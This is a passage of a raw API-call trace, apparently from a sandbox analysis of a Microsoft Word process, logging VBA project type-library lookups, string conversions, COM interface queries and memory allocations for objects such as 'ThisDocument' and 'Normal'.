CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266d00, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.782] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.782] wcsncpy_s (in: _Destination=0x266dd0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.782] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x266d00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.782] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.783] wcscpy_s (in: _Destination=0x7e3fa20, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0036.783] wcsncpy_s (in: _Destination=0x266dd0, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.783] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266d00, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.783] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.783] wcsncpy_s (in: _Destination=0x266e10, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.783] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x266d40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.783] wcscpy_s (in: _Destination=0x8104cb0, _SizeInWords=0x108, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0036.784] _wfullpath (in: _Buffer=0x267620, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\Normal") returned="C:\\Users\\aETAdzjz\\Desktop\\Normal" [0036.784] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\Normal", lpString2="") returned 1 [0036.784] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0036.784] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=7, lpWideCharStr=0x81c53f8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.784] lstrlenA (lpString="Normal") returned 6 [0036.784] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x2679b8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xae67f78 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xae67f78*="\x91e4\xe3f0\x7fe") returned 0x0 [0036.784] IUnknown:Release (This=0x8087d30) returned 0x0 [0036.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=-1, lpMultiByteStr=0x267990, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=-1, lpMultiByteStr=0x267970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.784] IsCharAlphaA (ch=84) returned 1 [0036.785] lstrlenA (lpString="ThisDocument") returned 12 [0036.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2679d0, cbMultiByte=-1, lpWideCharStr=0xae67f40, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0036.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x267810, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.785] lstrlenA (lpString="ThisDocument") returned 12 [0036.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2679d0, cbMultiByte=-1, lpWideCharStr=0xae67f40, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0036.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x2677d0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.785] lstrlenA (lpString="ThisDocument") returned 12 [0036.785] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087ac8, ppTypeAttr=0x2677c0, pDummy=0x0 | out: ppTypeAttr=0x2677c0, pDummy=0x0) returned 0x0 [0036.785] ITypeInfo:LocalReleaseTypeAttr (This=0x8087ac8) returned 0x0 [0036.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2679d0, cbMultiByte=-1, lpWideCharStr=0x267830, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0036.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x267450, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x267590, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.786] IMalloc:Realloc (This=0x7feff045380, pv=0x8116f80, cb=0x8) returned 0x81170b0 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819beb0 [0036.786] IMalloc:GetSize (This=0x7feff045380, pv=0x819beb0) returned 0x80 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109f90 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810a1d0 [0036.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x267450, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.786] CoCreateGuid (in: pguid=0x267180 | out: pguid=0x267180*(Data1=0x4032faae, Data2=0x29f2, Data3=0x483c, Data4=([0]=0xa7, [1]=0x94, [2]=0x48, [3]=0xd9, [4]=0x4e, [5]=0x85, [6]=0xf1, [7]=0xa9))) returned 0x0 [0036.786] CoCreateGuid (in: pguid=0x267190 | out: pguid=0x267190*(Data1=0x6d643f4a, Data2=0xfb12, Data3=0x46dc, Data4=([0]=0x95, [1]=0xfa, [2]=0x73, [3]=0xbd, [4]=0x82, [5]=0x2b, [6]=0x29, [7]=0x17))) returned 0x0 [0036.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x2671a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.786] GetLocalTime (in: lpSystemTime=0x267078 | out: lpSystemTime=0x267078*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x3dd)) [0036.786] _ultow_s (in: _Value=0x5e3fce51, _Buffer=0x81e6364, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e3fce51") returned 0x0 [0036.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025e3fce51", cchWideChar=11, lpMultiByteStr=0x267010, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025e3fce51", lpUsedDefaultChar=0x0) returned 11 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x170) returned 0x81100c0 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805d190 [0036.786] strcpy_s (in: _Dst=0x815dec0, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0036.786] IMalloc:Realloc (This=0x7feff045380, pv=0x8116ef0, cb=0x68) returned 0x819fe20 [0036.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.786] wcscpy_s (in: _Destination=0x81e6378, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0036.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.786] wcscpy_s (in: _Destination=0x81e6398, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0036.786] IMalloc:Realloc (This=0x7feff045380, pv=0x8116f10, cb=0x12) returned 0x81b2800 [0036.786] IMalloc:Realloc (This=0x7feff045380, pv=0x8116f00, cb=0x6) returned 0x8116f10 [0036.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x30) returned 0x7e67200 [0036.786] IMalloc:Free (This=0x7feff045380, pv=0x805d0d0) [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c5300 [0036.786] IMalloc:Realloc (This=0x7feff045380, pv=0x81c5300, cb=0x5c) returned 0x819fe90 [0036.786] IMalloc:Free (This=0x7feff045380, pv=0x7e67200) [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x3d0) returned 0x81e7140 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c5300 [0036.786] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b2860 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819bf40 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116f00 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116ef0 [0036.787] wcsncpy_s (in: _Destination=0x266ed0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.787] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x266e00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.787] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x688) returned 0x81e7520 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819bfd0 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x640) returned 0x81e7bb0 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c5330 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116f80 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x81170c0 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c5270 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819c060 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x400) returned 0x3ef8cb0 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x400) returned 0x3ef90c0 [0036.787] IMalloc:Alloc (This=0x7feff045380, cb=0x400) returned 0x3ef94d0 [0036.787] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0036.787] strcpy_s (in: _Dst=0x2670a0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0036.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2670a0, cbMultiByte=10, lpWideCharStr=0x266ef0, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0036.787] IUnknown:AddRef (This=0x7f8b790) returned 0x3 [0036.787] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x266fc0, pBstrLibName=0x266ef0 | out: pfName=0x266fc0*=0, pBstrLibName=0x266ef0) returned 0x0 [0036.787] IUnknown:Release (This=0x7f8b790) returned 0x2 [0036.787] IUnknown:AddRef (This=0x7f887c0) returned 0x5 [0036.787] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x266fc0, pBstrLibName=0x266ef0 | out: pfName=0x266fc0*=0, pBstrLibName=0x266ef0) returned 0x0 [0036.787] IUnknown:Release (This=0x7f887c0) returned 0x4 [0036.787] IUnknown:AddRef (This=0x7f8b1f0) returned 0x4 [0036.787] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x266fc0, pBstrLibName=0x266ef0 | out: pfName=0x266fc0*=0, pBstrLibName=0x266ef0) returned 0x0 [0036.787] IUnknown:Release (This=0x7f8b1f0) returned 0x3 [0036.787] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267608 | out: ppvObject=0x267608*=0x0) returned 0x80004002 [0036.787] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2675b8 | out: ppvObject=0x2675b8*=0x0) returned 0x80004002 [0036.787] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d30, ppTypeAttr=0x267598, pDummy=0x10 | out: ppTypeAttr=0x267598, pDummy=0x10) returned 0x0 [0036.787] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d30) returned 0x0 [0036.787] ITypeInfo:GetImplTypeFlags (in: This=0x8087d30, index=0x0, pImplTypeFlags=0x2675b4 | out: pImplTypeFlags=0x2675b4*=1) returned 0x0 [0036.787] ITypeInfo:GetRefTypeOfImplType (in: This=0x8087d30, index=0x0, pRefType=0x267590 | out: pRefType=0x267590*=0x6300) returned 0x0 [0036.787] ITypeInfo:GetRefTypeInfo (in: This=0x8087d30, hreftype=0x6300, ppTInfo=0x267588 | out: ppTInfo=0x267588*=0x8087d88) returned 0x0 [0036.788] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d88, ppTypeAttr=0x267598, pDummy=0x267570 | out: ppTypeAttr=0x267598, pDummy=0x267570*=0x2675c0) returned 0x0 [0036.788] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d88) returned 0x0 [0036.788] ITypeInfo:GetRefTypeOfImplType (in: This=0x8087d88, index=0xffffffff, pRefType=0x267590 | out: pRefType=0x267590*=0xfffffffe) returned 0x0 [0036.788] ITypeInfo:GetRefTypeInfo (in: This=0x8087d88, hreftype=0xfffffffe, ppTInfo=0x267600 | out: ppTInfo=0x267600*=0x8087de0) returned 0x0 [0036.788] IUnknown:Release (This=0x8087d88) returned 0x1 [0036.788] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d30, ppTypeAttr=0x2675b8, pDummy=0x3 | out: ppTypeAttr=0x2675b8, pDummy=0x3) returned 0x0 [0036.788] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d30) returned 0x0 [0036.788] ITypeInfo:GetImplTypeFlags (in: This=0x8087d30, index=0x0, pImplTypeFlags=0x2675ac | out: pImplTypeFlags=0x2675ac*=1) returned 0x0 [0036.788] ITypeInfo:GetImplTypeFlags (in: This=0x8087d30, index=0x1, pImplTypeFlags=0x2675ac | out: pImplTypeFlags=0x2675ac*=2) returned 0x0 [0036.788] ITypeInfo:GetImplTypeFlags (in: This=0x8087d30, index=0x2, pImplTypeFlags=0x2675ac | out: pImplTypeFlags=0x2675ac*=3) returned 0x0 [0036.788] ITypeInfo:GetRefTypeOfImplType (in: This=0x8087d30, index=0x2, pRefType=0x2675b0 | out: pRefType=0x2675b0*=0x10700) returned 0x0 [0036.788] ITypeInfo:GetRefTypeInfo (in: This=0x8087d30, hreftype=0x10700, ppTInfo=0x267610 | out: ppTInfo=0x267610*=0x8087e90) returned 0x0 [0036.788] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee408e860*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2675b0 | out: ppvObject=0x2675b0*=0x81b2880) returned 0x0 [0036.788] IConnectionPointContainer:FindConnectionPoint (in: This=0x81b2880, riid=0x7fee4090ba8*(Data1=0x20410, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppCP=0x2675a8 | out: ppCP=0x2675a8*=0x805d0d0) returned 0x0 [0036.788] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c51b0 [0036.788] IConnectionPoint:Advise (in: This=0x805d0d0, pUnkSink=0x81c51b0, pdwCookie=0x2675a4 | out: pdwCookie=0x2675a4*=0x4) returned 0x0 [0036.789] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c54b0 [0036.789] IMalloc:Realloc (This=0x7feff045380, pv=0x8116f00, cb=0x20) returned 0x81c5480 [0036.789] IMalloc:Realloc (This=0x7feff045380, pv=0x8116f80, cb=0x28) returned 0x81c52a0 [0036.789] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673c0 | out: ppvObject=0x2673c0*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267390 | out: ppvObject=0x267390*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267380 | out: ppvObject=0x267380*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267388 | out: ppvObject=0x267388*=0x0) returned 0x80004002 [0036.789] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x2673b8, pDummy=0x10 | out: ppTypeAttr=0x2673b8, pDummy=0x10) returned 0x0 [0036.789] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.789] IUnknown:AddRef (This=0x8087de0) returned 0x2 [0036.789] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673d0 | out: ppvObject=0x2673d0*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673a0 | out: ppvObject=0x2673a0*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267390 | out: ppvObject=0x267390*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267398 | out: ppvObject=0x267398*=0x0) returned 0x80004002 [0036.789] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x2673c8, pDummy=0x10 | out: ppTypeAttr=0x2673c8, pDummy=0x10) returned 0x0 [0036.789] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.789] IUnknown:AddRef (This=0x8087e90) returned 0x2 [0036.789] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267410 | out: ppvObject=0x267410*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673e0 | out: ppvObject=0x2673e0*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673d0 | out: ppvObject=0x2673d0*=0x0) returned 0x80004002 [0036.789] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673d8 | out: ppvObject=0x2673d8*=0x0) returned 0x80004002 [0036.789] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d30, ppTypeAttr=0x267408, pDummy=0x10 | out: ppTypeAttr=0x267408, pDummy=0x10) returned 0x0 [0036.789] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d30) returned 0x0 [0036.789] IUnknown:AddRef (This=0x8087d30) returned 0x2 [0036.789] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.789] IUnknown:Release (This=0x8087e90) returned 0x1 [0036.789] wcsncpy_s (in: _Destination=0x267110, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.789] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x267040, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.789] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.789] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.789] CExposedDocFile::CreateStream () returned 0x0 [0036.789] IMalloc:Alloc (This=0x7feff045380, cb=0x420) returned 0x81e8200 [0036.789] CExposedStream::AddRef () returned 0x2 [0036.790] CExposedStream::Release () returned 0x1 [0036.790] CExposedStream::Release () returned 0x0 [0036.790] IMalloc:Free (This=0x7feff045380, pv=0x81e8200) [0036.790] CExposedDocFile::AddRef () returned 0x3 [0036.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2679d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0036.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2679d0, cbMultiByte=-1, lpWideCharStr=0x7f57d78, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0036.792] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x267a78*=0x0 | out: pptlib=0x267a78*=0x81c0d20) returned 0x0 [0036.821] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x267708*=0x0 | out: pptlib=0x267708*=0x81c0d20) returned 0x0 [0036.821] ITypeLib:RemoteGetDocumentation (in: This=0x81c0d20, index=-1, refPtrFlags=0x267728, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x267610, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0036.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0036.821] IUnknown:QueryInterface (in: This=0x81c0d20, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2675e8 | out: ppvObject=0x2675e8*=0x0) returned 0x80004002 [0036.821] GetLocalTime (in: lpSystemTime=0x267490 | out: lpSystemTime=0x267490*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0xa, wMilliseconds=0x24)) [0036.821] wcsncpy_s (in: _Destination=0x267140, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: 